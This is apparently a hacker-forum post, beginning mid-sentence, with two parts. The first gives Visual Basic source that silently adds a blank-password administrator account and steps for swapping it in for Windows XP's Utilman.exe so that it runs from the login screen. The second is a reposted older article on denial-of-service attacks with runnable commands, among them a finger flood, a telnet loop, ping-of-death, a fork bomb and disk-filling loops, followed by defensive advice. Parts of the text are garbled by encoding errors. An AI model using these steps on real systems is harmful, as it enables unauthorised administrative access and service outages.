your own program that creates an administrative account. The program that you create has to have a filename of Utilman.exe in order to work.

If the filesystem on the computer is FAT32 then this process is very simple and only takes a second. If the Computer uses the NTFS filesystem this

will take a few minutes depending on how fast the PC is.


First We need to make the program
I used Visual Basic 6, here is my source code that i used to create the administrative account:


#################################START###############################
Private Sub Form_Load()
Shell "net user NewAdmin " & """""" & " /add", vbHide
Pause (1)
Shell "net localgroup administrators NewAdmin /add", vbHide
Pause (1)
msgbox "Added Administrative User",16,"Hacked XP"
End
End Sub

Sub Pause(interval)
'Pauses execution
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub

'#################################END###############################

Compile this with the filename of Utilman.exe this is very important! What this program does is create a User named NewAdmin with a blank

password and then adds them to the Administrators Group.

Ok Now that we've made the program lets move on...

FAT32
1. Create a bootable floppy :: http://1gighost.net/keywest/boot98sc.exe
2. Add the newly made Utilman.exe to the Floppy
3. Restart the computer with the floppy in it
4. After DOS loads type C: and press enter.
5. If it changes from A:/> to C:/> then your doing good
6. use this command: Copy A:utilman.exe C:windowssystem32utilman.exe press Y to overwrite the exsisting file
7. Restart the computer without the floppy in it
8. When it gets to the Login Screen Press the Windows Key + U
9. Restart the computer if FastUser Switching is enabled (The Graphical Login with the picture next to the login name, XP Only) if not enabled skip to Step 10

9a. After restarting you should see a new user in the list named NewAdmin, click on this account and you just gained Administrative access to your

PC.
10. After pressing Windows Key + U then type in the username NewAdmin and push Enter. Thats It you now have administrative access to

your PC.


NTFS
Use a Windows 2000 Setup CD to gain access to the NTFS partition through the recovery console. From the recovery console you can copy over the hacked Utilman.exe. Once in the recovery console follow the same instructions as above from step 6. After copying over the file restart your computer by typing exit or pusing ALT CTRL DEL. Remove the Windows 2000 CD. When windows loads to the choose user screen simply push Windows Key + U. After pushing the Windows Key + U you should see a message that says "Added Administrative User", restart the computer one last time then choose the NewAdmin user account. This will have Administrative Privileges. It works ive done it and i hope you all enjoy this nice little hack ! ! ! (If your trying to gain SYSTEM level access your can replace the UTILMAN.exe to open a Command Prompt)

LOL i hope that made sense

Great article about DoS attacks.

A- INTRODUCTION
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A-1. WHAT IS A DENIAL OF SERVICE ATTACK
---------------------------------------------------------
Denial of service is about without permission knocking off services, for example through crashing the whole system. This kind of attacks are easy to launch and it is hard to protect a system against them. The basic problem is that Unix assumes that users on the system or on other systems will be well behaved
A-2. WHY WOULD SOMEONE CRASH A SYSTEM
-----------------------------------------------------------
A-2.1. INTRODUCTION
----------------------------
Why would someone crash a system? I can think of several reasons that I have personated more precisely in a section for each reason, but for short

Sub-cultural status
To gain access
Revenge
Political reasons
Economical reasons
Nastiness

I think that number one and six are the more common today, but that number four and five will be the more common ones in the future

A-2-2- SUB-CULTURAL STATUS
---------------------------
After all information about syn flooding a bunch of such attacks were launched around Sweden. The very most of these attacks were not a part of a IP-spoof attack, it was "only" a denial of service attack. Why? I think that hackers attack systems as a sub-cultural pseudo career and I think that many denial of service attacks, and here in the example syn flooding, were performed for these reasons. I also think that many hackers begin their carrer with denial of service attacks

A-2-3- TO GAIN ACCESS
------------------------------
Sometimes could a denial of service attack be a part of an attack to gain access at a system. At the moment I can think of these reasons and specific holes Some older X-lock versions could be crashed with a method from the denial of service family leaving the system open. Physical access was needed to use the workspace after Syn flooding could be a part of a IP-spoof attack method
Some program systems could have holes under the startup, that could be used to gain root, for ( example SSH secure shell )
Under an attack it could be usable to crash other machines in the network or to deny certain persons the ability to access the system Also could a system being booted sometimes be subverted, especially rarp-boots. If we know which port the machine listen to (69 could be a good guess) under the boot we can send false packets to it and almost totally control the boot

A-2-4- REVENGE
-------------------
A denial of service attack could be a part of a revenge against a user or an administrator

A-2-5. POLITICAL REASONS
-----------------------------------
Sooner or later will new or old organizations understand the potential of destroying computer systems and find tools to do it. For example imaginative the Bank A loaning company B money to build a factory threading the environment. The organization C therefore crash A:s computer system, maybe with help from an employee. The attack could cost A a great deal of money if the timing is right

A-2-6. ECONOMICAL REASONS
---------------------------------------
Imaginative the small company A moving into a business totally dominated by company B. A and B customers make the orders by computers and depends heavily on that the order is done in a specific time (A and B could be stock trading companies). If A and B can't perform the order the customers lose money and change company. As a part of a business strategy A pays a computer expert a sum of money to get him to crash B:s computer systems a number of times. A year later A is the dominating company

A-2-7. NASTINESS
----------------------
I know a person that found a workstation where the user had forgotten to logout. He sat down and wrote a program that made a kill -9 -1 at a random time at least 30 minutes after the login time and placed a call to the program from the profile file. That is nastiness
A-3. ARE SOME OPERATING SYSTEMS MORE SECURE
----------------------------------------------------------
This is a hard question to answer and I don't think that it will give anything to compare different Unix platforms. You can't say that one Unix is more secure against denial of service; it is all up to the administrator. A comparison between Windows 95 and NT on one side and Unix on the other could however be interesting. Unix systems are much more complex and have hundreds of built in programs, services... This always opens up many ways to crash the system from the inside. In the normal Windows NT and 95 networks is few ways to crash the system. Although were methods that always will work. That gives us that no big different between Microsoft and Unix can be seen regarding the inside attacks. But there is a couple of points left

- Unix has much more tools and programs to discover an attack and monitoring the users. To watch what another user is up to under windows is very hard.- The average Unix administrator probably also have much more experience than the average Microsoft administrator The two last p ints gives that Unix is more secure against inside denial of service attacks. A comparison between Microsoft and Unix regarding outside attacks are much more difficult. However I would like to say that the average Microsoft systems on the Internet are more secure against outside attacks, because they normally have much less services

B- SOME BASIC TARGETS FOR AN ATTACK
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B-1. SWAP SPACE
----------------------
Most systems have several hundred Mbytes of swap space to service client requests. The swap space is typical used for forked child processes, which have a short lifetime. The swap space will therefore almost never in a normal cause be used heavily. A denial of service could be based on a method that tries to fill up the swap space

B-2. BANDWIDTH
-----------------------
If the bandwidth is to high the network will be useless. Most denial of service attack influences the bandwidth in some way

B-3. KERNEL TABLES
---------------------------
It is trivial to overflow the kernel tables, which will cause serious problems on the system. Systems with write through caches and small write buffers are especially sensitive. Kernel memory allocation is also a target that is sensitive. The kernel have a kernel map limit, if the system reach this limit it can not allocate more kernel memory and must be rebooted. The kernel memory is not only used for RAM, CPU:s, screens and so on, it it also used for ordinaries processes. Meaning that any system can be crashed and with a mean (or in some sense good) algorithm pretty fast. For Solaris 2.X it is measured and reported with the SAR command how much kernel memory the system is using, but for SunOS 4.X there is no such command. Meaning that under SunOS 4.X you don't even can get a warning. If you do use Solaris you should write SAR -k 1 to get the information. Netstat -k can also be used and shows how much memory the kernel has allocated in the sub paging

B-4. RAM
----------------
A denial of service attack that allocates a large amount of RAM can make a great deal of problems. NFS and mail servers are actually extremely sensitive because they do not need much RAM and therefore often don't have much RAM. An attack at a NFS server is trivial. The normal NFS client will do a great deal of caching, but a NFS client can be anything including the program you wrote yourself

B.5. DISKS
-----------
A classic attack is to fill up the hard disk, but an attack at the disks can be so much more. For example can an overloaded disk be misused in many ways

B-6. CACHES
-------------------
A denial of service attack involving caches can be based on a method to block the cache or to avoid the cache. These caches are found on Solaris 2.X: Directory name lookup cache: Associates the name of a file with a vnode. Inode cache: Cache information read from disk in case it is needed again. Node cache: Holds information about the NFS files system. Buffer cache: Cache anode indirect blocks and cylinders to reeled disk I/O

B-7. INETD
----------------
Well once intend crashed all other services running through intend no longer will work

C- ATTACKING FROM THE OUTSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
C.1. TAKING ADVANTAGE OF FINGER
------------------------------------------------
Most fingered installations support redirections to an other host
Ex: $finger @system.two.com@system.one.com
finger will in the example go through system.one.com and on to system.two.com. As far as system.two.com knows it is system.one.com who is fingering. So this method can be used for hiding, but also for a very dirty denial of service attack. Lock at this

$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack

All those @ signs will get finger to finger host.we.attack again and again and again... The effect on host.we.attack is powerful and the result is high bandwidth, short free memory and a hard disk with less free space, due to all child processes (compare with .D.5.). The solution is to install a fingerd, which don't support redirections, for example GNU finger. You could also turn the finger service off, but I think that is just a bit too much

C-2. UDP AND SUNOS 4.1
----------------------------------
SunOS 4.1.3. is known to boot if a packet with incorrect information in the header is sent to it. This is the cause if the ip_options indicate a wrong size of the packet. The solution is to install the proper patch

C-3. FREEZING UP X-WINDOWS
----------------------------------------
If a host accepts a telnet session to the X-Windows port (generally somewhere between 6000 and 6025. In most cases 6000) could that be used to freeze up the X-Windows system. This can be made with multiple telnet connections to the port or with a program, which sends multiple XOpenDisplay () to the port. The same thing can happen to Motif or Open Windows. The solution is to deny connections to the X-Windows port

C.4. MALICIOUS USE OF UDP SERVICES
---------------------------------------------------
It is simple to get UDP services (echo, time, daytime, chargen) to loop, due to trivial IP-spoofing. The effect can be high bandwidth that causes the network to become useless. In the example the header claim that the packet came from 127.0.0.1 (loopback) and the target is the echo port at system.we.attack. As far as system.we.attack knows is 127.0.0.1 system.we.attack and the loop has been establish

Ex
from-IP=127.0.0.1
to-IP=system.we.attack
Packet type: UDP
from UDP port 7
to UDP port 7

Note that the name system.we.attack looks like a DNS-name, but the target should always be represented by the IP-number. Quoted from proberts@clark.net (Paul D. Robertson) comment on comp.security.firewalls on matter of "Introduction to denial of service " A great deal of systems don't put loop back on the wire, and simply emulate it. Therefore, this attack will only affect that machine in some cases. It's much better to use the address of a different machine on the same network. Again, the default services should be disabled in inetd.conf. Other than some hacks for mainframe IP stacks that don't support ICMP, the echo service isn't used by many legitimate programs, and TCP echo should be used instead of UDP where it is necessary

C-5. ATTACKING WITH LYNX CLIENTS
---------------------------------
A World Wide Web server will fork an httpd process as a respond to a request from a client, typical Netscape or Mosaic. The process lasts for less than one second and the load will therefore never show up if someone uses ps. In most causes it is therefore very safe to launch a denial of service attack that makes use of multiple W3 clients, typical lynx clients. But note that the netstat command could be used to detect the attack (thanks to Paul D. Robertson). Some httpd: (for example http-gw) will have problems besides the normal high bandwidth, low memory... And the attack can in those causes get the server to loop compare with .C.6

C-6. MALICIOUS USE OF telnet
----------------------------------------
Study this little script

Ex
while: ; do
telnet system.we.attack & done
An attack using this script might eat some bandwidth, but it is nothing compared to the finger method or most other methods. Well the point is that some pretty common firewalls and httpd:s thinks that the attack is a loop and turn them self down, until the administrator sends kill -HUP. This is a simple high-risk vulnerability that should be checked and if present fixed

C-7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
---------------------------------------------------------------
If the attacker makes a telnet connections to the Solaris 2.4 host and quits using
Ex
Control-}
quit
then will inetd keep going "forever". Well a couple of hundred
The solution is to install the proper patch

C-8. HOW TO DISABLE ACCOUNTS
-----------------------------
Some systems disable an account after N number of bad logins, or waits N seconds. You can use this feature to lock out specific users from the system

C-9. LINUX AND TCP TIME, DAYTIME
-----------------------------------------------
Inetd under Linux is known to crash if to many SYN packets sends to daytime (port 13) and/or time (port 37). The solution is to install the proper patch

C-10. HOW TO DISABLE SERVICES
--------------------------------------------
Most Unix systems disable a service after N sessions have been open in a given time. Well most systems have a reasonable default (lets say 800 - 1000), but not some SunOS systems that have the default set to 48...The solutions is to set the number to something reasonable

C-11. PARAGON OS BETA R1.4
--------------------------------------
If someone redirects an ICMP (Internet Control Message Protocol) packet to a paragon OS beta R1.4 will the machine freeze up and must be rebooted. An ICMP redirect tells the system to override routing tables. Routers use this to tell the host that it is sending to the wrong router. The solution is to install the proper patch

C-12. NOVELLS NETWARE FTP
---------------------------------------
Novells Netware FTP server is known to get short of memory if multiple ftp sessions connects to it

C-13. ICMP REDIRECT ATTACKS
----------------------------------------
Gateways uses ICMP redirect to tell the system to override routing tables, that is telling the system to take a better way. To be able to misuse ICMP redirection we must know an existing connection (well we could make one for ourself, but there is not much use for that). If we have found a connection we can send a route that loses it connectivity or we could send false messages to the host if the connection we have found don't use cryptation
Ex: false messages to send
DESTINATION UNREACHABLE
TIME TO LIVE EXCEEDED
PARAMETER PROBLEM
PACKET TOO BIG
The effect of such messages is a reset of the connection. The solution could be to turn ICMP edirects off, not much proper use of the service

C-14. BROADCAST STORMS
-------------------------------------
This is a very popular method in networks there all of the hosts are acting as gateways. There are many versions of the attack, but the basic method is to send a lot of packets to all hosts in the network with a destination that don't exist. Each host will try to forward each packet so the packets will bounce around for a long time. And if new packets keep coming the network will soon be in trouble.Services that can be misused as tools in this kind of attack is for example ping, finger and sendmail. But most services can be misused in some way or another

C-15. EMAIL BOMBING AND SPAMMING
---------------------------------------------------
In a email bombing attack the attacker will repeatedly send identical email messages to an address. The effect on the target is high bandwidth, a hard disk with less space and so on... Email spamming is about sending mail to all (or rather many) of the users of a system. The point of using spamming instead of bombing is that some users will try to send a replay and if the address is false will the mail bounce back. In that cause have one mail transformed to three mails. The effect on the bandwidth is obvious.There is no way to prevent email bombing or spamming. However have a look at CERT:s paper "Email bombing and spamming

C-16. TIME AND KERBEROS
-------------------------------------
If not the the source and target machine is closely aligned will the ticket be rejected, that means that if not the protocol that set the time is protected it will be possible to set a kerberos server of function

C-17. THE DOT DOT BUG
-------------------------------
Windows NT file sharing system is vulnerable to the under Windows 95 famous dot dot bug (dot dot like ..). Meaning that anyone can crash the system. If someone sends a "DIR .." to the workstation will a STOP messages appear on the screen on the Windows NT computer. Note that it applies to version 3.50 and 3.51 for both workstation and server version. The solution is to install the proper patch

C-18. SUNOS KERNEL PANIC
------------------------------------
Some SunOS systems (running TIS?) will get a kernel panic if a getsockopt() is done after that a connection has been reset. The solution could be to install Sun patch 100804

C-19. HOSTILE APPLETS
-------------------------------
A hostile applet is any applet that attempts to use your system in an inappropriate manner. The problems in the java language could be sorted in two main groups
Problems due to bugs
Problems due to features in the language *
* In-group one we have for example the java byte code verifier bug, which makes is possible for an applet to execute any command that the user can execute. Meaning that all the attack methods described in. D.X. could be executed through an applet. The java byte code verifier bug was discovered in late March 1996 and no patch has yet been available (correct me if IÃ�Æ�Ã�¢Ã�¢Ã¢Ã¢�¬Ã…¡Ãƒ�¬Ã�¢Ã¢Ã¢�¬Ã…¾Ãƒ�&Ac irc;¢m wrong!!!) Note that two other bugs could be found in group one, but they are both fixed in Netscape 2.01 and JDK 1.0.1 Group two are more interesting and one large problem found is the fact that java can connect to the ports. Meaning that all the methods described in. C.X. can be performed by an applet. More information and examples could be found at address

http://www.math.gatech.edu/~mladue/HostileArticle.html

If you need a high level of security you should use some sort of firewall for protection against java. As a user you could have java disable

C-20. VIRUS
------------------
Computer virus is written for the purpose of spreading and destroying systems. Virus is still the most common and famous denial of service attack method.It is a misunderstanding that virus writing is hard. If you know assembly language and have source code for a couple of virus it is easy. Several automatic toolkits for virus construction could also be found, for example

Genvir
VCS Virus Construction Set)
VCL Virus Construction Laboratory)
PS-MPC Phalcon/Skism - Mass Produced Code Generator)
IVP Instant Virus Production Kit)
G2 G Squared)

PS-MPC and VCL is known to be the best and can help the novice programmer to learn how to write virus..An automatic tool called MtE could also be found. MtE will transform virus to a polymorphic virus. The polymorphic engine of MtE is well known and should easily be catch by any scanner

C.21. ANONYMOUS FTP ABUSE
----------------------------------------
If an anonymous FTP archive have a writable area it could be misused for a denial of service attack similar with with .D.3. That is we can fill up the hard disk.Also can a host get temporarily unusable by massive numbers of FTP requests.For more information on how to protect an anonymous FTP site could CERT:s "Anonymous FTP Abuses" be a good start

C-22. SYN FLOODING
--------------------------------
Both 2600 and Phrack have posted information about the syn flooding attack. 2600 have also posted exploit code for the attack. As we know the syn packet is used in the 3-way handshake. The syn flooding attack is based on an incomplete handshake. That is the attacker host will send a flood of syn packet but will not respond with an ACK packet. The TCP/IP stack will wait a certain amount of time before dropping the connection, a syn flooding attack will therefore keep the syn_received connection queue of the target machine filled..The syn flooding attack is very hot and it is easy to find more information about it, for example

http://www.eecs.nwu.edu/~jmyers/bugtraq/1354.html Article by Christopher Klaus, including a "solution"
http://jya.com/floodd.txt 2600, Summer, 1996, pp. 6-11. FLOOD WARNING by Jason Fairlane
http://www.fc.net/phrack/files/p48/p48-14.html IP-spoofing Demystified by daemon9 / route / infinity for Phrack Magazine

C-23. PING FLOODING
------------------------------
I haven't tested how big the impact of a ping flooding attack is, but it might be quite big. Under Unix we could try something like: ping -s host to send 64 bytes packets. If you have Windows 95, click the start button, select RUN, then type in: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions

C-24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
----------------------------------------------------------
If someone can ping your machine from a Windows 95 machine he or she might reboot or freeze your machine. The attacker simply writes
ping -l 65510 address.to.the.machine and the machine will freeze or reboot
Works for kernel 2.0.7 up to version 2.0.20. And 2.1.1. For Linux crash)
AIX4, OSF, HPUX 10.1, DUnix 4.0 crash)
OSF/1, 3.2C, Solaris 2.4 x86 reboot)

C-25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
------------------------------------------------------------------------
The subnet mask reply message is used under the reboot, but some hosts are known to accept the message any time without any check. If so all communication to or from the host us turned off, it's dead.The host should not accept the message any time but under the reboot

C.26. FLEXlm
-----------------
Any host running FLEXlm can get the FLEXlm license manager daemon on any network to shutdown using the FLEXlm lmdown command
lmdown -c /etc/licence.dat #
lmdown - Copyright �© 1989, 1991 Highland Software, Inc
Shutting down FLEXlm on nodes: xxx
Are you sure? [y/n]: y
Shut down node xxx
#

C-27. BOOTING WITH TRIVIAL FTP
--------------------------------------------
To boot diskless workstations one often use trivial ftp with rarp or bootp. If not protected an attacker can use tftp to boot the host

D- ATTACKING FROM THE INSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

D-1. KERNEL PANIC UNDER SOLARIS 2.3
------------------------------------
Solaris 2.3 will get a kernel panic if this is executed
EX
$ndd /dev/udp udp_status
The solution is to install the proper patch

D-2. CRASHING THE X-SERVER
---------------------------
If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0 be removed and the x-server will crash
Ex
$ rm /tmp/.x11-unix/x0

D-3. FILLING UP THE HARD DISK
-----------------------------
If your hard disk space is not limited by a quota or if you can use /tmp then it`s possible for you to fill up the file system
Ex
while
mkdir .xxx
cd .xxx
done

D-4. MALICIOUS USE OF eval
---------------------------
Some older systems will crash if eval '!!' is executed in the C-shell
Ex
% eval '!!'

D-5. MALICIOUS USE OF fork
-----------------------------
If someone executes this C++ program the result will result in a crash on most systems
Ex
#include
#include
#include
main()
{
int x
while(x=0;x<1000000;x++)
{
system("uptime")
fork
}
}
You can use any command you want, but uptime is nice because it shows the workload. To get a bigger and very ugly attack you should however replace uptime (or fork them both) with sync. This is very bad.If you are real mean you could also fork a child process for every child process and we will get an exponential increase of workload. There is no good way to stop this attack and similar attacks. A solution could be to place a limit on time of execution and size of processes

D-6. CREATING FILES THAT IS HARD TO REMOVE
-------------------------------------------
Well all files can be removed, but here is some ideas
Ex.I
$ cat > -xxx
^C
$ ls
-xxx
$ rm -xxx
rm: illegal option -- x
rm: illegal option -- x
rm: illegal option -- x
usage: rm [-fiRr] file
$
Ex.II
$ touch xxx!
$ rm xxx!
rm: remove xxx! (yes/no)? y
$ touch xxxxxxxxx!
$ rm xxxxxxxxx!
bash: !": event not found
$
(You see the size do count)
Other well know methods is files with odd characters or spaces in the name. These methods could be used in combination with ".D.3 FILLING UP THE HARDDISK". If you do want to remove these files you must use some sort of script or a graphical interface like OpenWindow:s File Manager. You can also try to use: rm ./ . It should work for the first example if you have a shell

D-7. DIRECTORY NAME LOOKUPCACHE
--------------------------------
Directory name lookupcache (DNLC) is used whenever a file is opened. DNLC associates the name of the file to a vnode. But DNLC can only operate on files with names that has less than N characters (for SunOS 4.x up to 14 character, for Solaris 2.x up 30 characters). This means that it's dead easy to launch a pretty discreet denial of service attack.Create lets say 20 directories (for a start) and put 10 empty files in every directory. Let every name have over 30 characters and execute a script that makes a lot of ls -al on the directories. If the impact is not big enough you should create more files or launch more processes

D-8. CSH ATTACK
----------------
Just start this under /bin/csh (after proper modification) and the load level will get very high (that is 100% of the cpu time) in a very short time
Ex
|I /bin/csh
nodename : **************b

D-9. CREATING FILES IN /tmp
----------------------------
Many programs creates files in /tmp, but are unable to deal with the problem if the file already exist. In some cases this could be used for a denial of service attack

D-10. USING RESOLV_HOST_CONF
-----------------------------
Some systems have a little security hole in the way they use the RESOLV_HOST_CONF variable. That is we can put things in it and through ping access confidential data like /etc/shadow or crash the system. Most systems will crash if /proc/kcore is read in the variable and access through ping
Ex
$ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

D-11. SUN 4.X AND BACKGROUND JOBS
----------------------------------
Thanks to Mr David Honig for the following
" Put the string "a&" in a file called "a" and perform "chmod +x a". Running "a" will quickly disable a Sun 4.x machine, even disallowing (counter to specs) root login as the kernel process table fills " The cute thing is the size of the script, and how few keystrokes it takes to bring down "a Sun as regular user

D-12. CRASHING DG/UX WITH ULIMIT
---------------------------------
ulimit is used to set a limit on the system resources available to the shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the passwd file be set to zero

D-13. NETTUNE AND HP-UX
------------------------
/usr/contrib/bin/nettune is SETUID root on HP-UX meaning that any user can reset all ICMP, IP and TCP kernel parameters, for example the following parameters
arp_killcomplete -
arp_killincomplete -
arp_unicast -
arp_rebroadcast -
icmp_mask_agent -
ip_defaultttl -
ip_forwarding -
ip_intrqmax -
pmtu_defaulttime -
tcp_localsubnets -
tcp_receive -
tcp_send -
tcp_defaultttl -
tcp_keepstart -
tcp_keepfreq -
tcp_keepstop -
tcp_maxretrans -
tcp_urgent_data_ptr -
udp_cksum -
udp_defaultttl -
udp_newbcastenable -
udp_pmtu -
tcp_pmtu -
tcp_random_seq -
The solution could be to set the proper permission on /sbin/mount_union
chmod u-s /sbin/mount_union #

D-14. SOLARIS 2.X AND NFS
--------------------------
If a process is writing over NFS and the user goes over the disk quota will the process go into an infinite loop

D-15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
--------------------------------------------------
By executing a sequence of mount_union commands any user can cause a system reload on all FreeBSD version 2.X before 1996-05-18
mkdir a $
mkdir b $
mount_union ~/a ~/b $
mount_union -b ~/a ~/b $
The solution could be to set the proper permission on
/sbin/mount_union
chmod u-s /sbin/mount_union #

D-16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X
----------------------------------------------------
Executing the trap_mon instruction from user mode can cause a kernel panic or a window underflow watchdog reset under SunOS 4.1.x, sun4c architecture

E- DUMPING CORE
~~~~~~~~~~~~~~~~

E-1. SHORT COMMENT
-------------------
The core dumps things don't really belongs in this paper but I have put them here anyway
E-2. MALICIOUS USE OF NETSCAPE
-------------------------------
Under Netscape 1.1N this link will result in a segmentation fault and a core dump
Ex
http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx. ... xx.xxx.xxx
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx
< ... xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx

E-3. CORE DUMPED UNDER WUFTPD
------------------------------
A core dumped could be created under wuftp with two different methods
Then pasv is given (user not logged in (ftp -n)). Almost all versions of BSD:s ftpd -
More than 100 arguments is given with any executable command. Presents in all versions of BSD:sd ftpd

E-4. ld UNDER SOLARIS/X86
--------------------------
Under Solaris 2.4/X86 ld dumps core if given with the -s option
F- HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

F-1. BASIC SECURITY PROTECTION
-------------------------------

F-1.1. INTRODUCTION
--------------------
You can not make your system totally secured against denial of service attacks but for attacks from the outside you can do a lot. I put this work list together and hope that it can be of some use

F-1.2. SECURITY PATCHES
------------------------
Always install the proper security patches. As for patch numbers I don't want to put them out, but that doesn't matter because you anyway want to check that you have all security patches installed, so get a list and check! Also note that patches change over time and that a solution suggested in security bulletins (i.e. CERT) often is somewhat temporary

F-1.3. PORT SCANNING
---------------------
Check which services you have. Don't check with the manual or some configuration file, instead scan the ports with sprobe or some other port scanner. Actual you should do this regualy to see that anyone don't have installed a service that you don't want on the system (could for example be service used for a pirate site).Disable every service that you don't need, could for example be rexd, fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen, tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime and chargen is possible to get to loop. There is however no need to turn discard off. The discard service will just read a packet and discard it, so if you turn off it you will get more sensitive to denial of service and not the opposite.Actual can services be found on many systems that can be used for denial of service and brute force hacking without any logging. For example Stock rexec never logs anything. Most popd:s also don't log anything

F-1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
---------------------------------------------------------
Check that attacks described in this paper and look at the solution. Some attacks you should perform yourself to see if they apply to your system, for example
Freezing up X-Windows -
Malicious use of telnet -
How to disable services -
SunOS kernel panic -
Attacking with lynx clients -
Crashing systems with ping from Windows 95 machines -
That is stress test your system with several services and look at the effect
Note that Solaris 2.4 and later have a limit on the number of ICMP error messages (1 per 500 ms I think) that can cause problems then you test your system for some of the holes described in this paper. But you can easy solve this problem by executing this line
/usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0 $

F-1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
--------------------------------------------------------
Check the inside attacks, although it is always possibly to crash the system from the inside you don't want it to be to easy. Also have several of the attacks applications besides denial of service, for example
Crashing the X-Server: If stickybit is not set in /tmp a number of attacks to gain access can be performed
Using resolv_host_conf: Could be used to expose confidential data like /etc/shadow -
Core dumped under wuftpd: Could be used to extract password-strings -
If I don't have put out a solution I might have recommended son other paper. If not I don't know of a paper with a solution I feel that I can recommend. You should in these causes check with your company

F-1.6. EXTRA SECURITY SYSTEMS
------------------------------
Also think about if you should install some extra security systems. The basic that you always should install is a logdaemon and a wrapper. A firewall could also be very good, but expensive. Free tools that can be found on the Internet is for example
TYPE: NAME: URL
LOGDAEMON NETLOG ftp://net.tamu.edu/pub/security/TAMU
WRAPPER TCP WRAPPERS ftp://cert.org/pub/tools/tcp_wrappers
FIREWALL TIS ftp://ftp.tis.com/pub/firewalls/toolkit
Note that you should be very careful if building your own firewall with TIS or you might open up new and very bad security holes, but it is a very good security packer if you have some basic knowledge. It is also very good to replace services that you need, for example telnet, rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be found at URL
ftp://ftp.cs.hut.fi/pub/ssh
The addresses I have put out are the central sites for distributing and I don't think that you should use any other except for CERT
For a long list on free general security tools I recommend: "FAQ: Computer Security Frequently Asked Questions

F-1.7. MONITORING SECURITY
---------------------------
Also monitor security regular, for example through examining system log files, history files... Even in a system without any extra security systems could several tools be found for monitoring, for example
uptime -
showmount -
ps -
netstat -
finger -
(see the man text for more information)

F-1.8. KEEPING UP TO DATE
--------------------------
It is very important to keep up to date with security problems. Also understand that then, for example CERT, warns for something it has often been dark-side public for sometime, so don't wait. The following resources that helps you keeping up to date can for example be found on the Internet
CERT mailing list. Send an e-mail to cert@cert.org to be placed on the list -
Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net -



F-1.9. READ SOMETHING BIGGER AND BETTER
----------------------------------------
Let's start with papers on the Internet. I am sorry to say that it is not very many good free papers that can be found, but here is a small collection and I am sorry if have have over looked a paper
The Rainbow books is a long series of free books on computer security. US citizens can get the books from
INFOSEC AWARENESS OFFICE
National Computer Security Center
9800 Savage Road
Fort George G. Meader, MD 20755-600
We other just have to read the papers on the World Wide Web. Every paper can not however be found on the Internet
"Improving the security of your Unix system" by Curry is also very nice if you need the very basic things. If you don't now anything about computer security you can't find a better start
"The WWW security FAQ" by Stein is although it deal with W3-security the very best better on the Internet about computer security
CERT has also published several good papers, for example
Anonymous FTP Abuses -
Email Bombing and Spamming -
Spoofed/Forged Email -
Protecting you from password file attacks -
I think however that the last paper has overlooked several things
For a long list on papers I can recommend: "FAQ: Computer Security Frequently Asked Questions"
Also see section ".G. SUGGESTED READING"
You should also get some big good commercial book, but I don't want to recommend any

F-2. MONITORING PERFORMANCE
----------------------------

F-2.1. INTRODUCTION
--------------------
There is several commands and services that can be used for monitoring performance. And at least two good free programs can be found on Internet

F-2.2. COMMANDS AND SERVICES
-----------------------------
For more information read the man text
Netstat Show network status
Nfsstat Show NFS statistics
Sar System activity reporter. Vmstat Report virtual memory statistics. Timex Time a command, report process data and system activity. Time a simple command. Truss Trace system calls and signals. Uptime Show how long the system has been up. Note that if a public netstat server can be found you might be able to use netstat from the outside. Netstat can also give information like tcp sequence numbers and much more

F-2.3. PROGRAMS
----------------
Proctool: Proctool is a freely available tool for Solaris that monitors and controls process. ftp://opcom.sun.ca/pub/binaries/
Top: Top might be a simpler program than Proctool, but is good enough

F-2.4. ACCOUNTING
------------------
To monitor performance you have to collect information over a long period of time. All Unix systems have some sort of accounting logs to identify how much CPU time, memory each program uses. You should check your manual to see how to set this up. You could also invent your own account system by using crontab and a script with the commands you want to run. Let crontab run the script every day and compare the information once a week. You could for example let the script run the following commands
netstat -
iostat -D -
vmstat -

G- SUGGESTED READING
~~~~~~~~~~~~~~~~~~~~~

F-1. INFORMATION FOR DEEPER KNOWLEDGE
-------------------------------------
Hedrick, C. Routing Information Protocol. RFC 1058, 1988 -
Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984 -
Postel, J. Internet Control Message Protocol. RFC 792, 1981 -
Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977 -
Sollins, K.R. The TFTP Protocol, RFC 783, 1981 -
Croft, W.J. Bootstrap Protocol, RFC 951, 1985 -
